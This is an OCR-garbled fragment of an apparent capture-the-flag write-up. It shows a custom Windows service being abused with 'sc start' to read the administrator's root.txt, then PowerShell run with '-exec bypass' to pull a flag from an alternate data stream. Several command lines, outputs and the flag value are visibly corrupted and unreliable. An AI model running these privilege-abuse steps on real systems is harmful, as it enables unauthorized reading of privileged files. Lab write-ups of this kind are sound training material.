sc start userlogger C:\inetpub\wwwroot\http.psl:test

When | include a file | could not read it than became readable :)
We should be able to read root lets try!

C:\Windows\System32>sc stop userlogger
sCc stop userlogger

SERVICE NAME: userlogger
TYPE : 10 WIN32 OWN PROCESS
STATE + 3 STOP PENDING
(NOT STOPPABLE, NOT PAUSABLE, IGNORES SHUTDOWN)
WIN32 EXIT CODE : ® (0x0)
SERVICE EXIT CODE : © (©6x9)
CHECKPOINT : x4
WAIT HINT : OxH6

C:\Windows\System32>sc start userlogger C:\inetpub\wwwroot\http.psl:test

sc start userlogger C:\inetpub\wwwroot\http.psl:test

SERVICE NAME: userlogger
TYPE : 10 WIN32 OWN PROCESS
STATE : 2 START PENDING
(NOT STOPPABLE, NOT PAUSABLE, IGNORES SHUTDOWN)
WIN32 EXIT CODE 0 (Ox0)
SERVICE EXIT CODE : © (06x0)
CHECKPOINT Ox0
WAIT HINT : Ox7dO
PID : 3600
FLAGS -

type http.psl

ANENRN
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We than trick it to read root.txt

sc stop userlogger

sc start userlogger C:\Users\Administrtaor\Desktop\root.txt
type C:\Users\administrator\Desktop\root.txt

(This doesnt work. By chance I tried PowerShelll)

ANRNRN

powershell
get-content C:\Users\Administrator\Desktop\root.txt
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PS C:\Users> get-content C:\Users\Administrator\Desktop\root.txt
get-content C:\Users\Administrator\Desktop\root.txt

After some more hard headedness and trying different things we finally got it. The flag was on an
alternate data stream.

Our mistake earlier was using command prompt.

Type is really Set-Location in PowerShell. In order to use the : switch it needs to be run in PS

powershell -exec bypass -c "type C:\Users\Administrator\Desktop\root.txt:flag.txt"

6d29b069d4deB8eedla2fle62f7d02515




"

powershell -exe bypass -« cat C:\Users\Administrator\Desktop\root. txt:fl

-exec bypass -c¢ "cat C:\Users\Administrator\Desktop\root.txt:flag.txt"

d29b069d4deBeedla2fleb6217d02515
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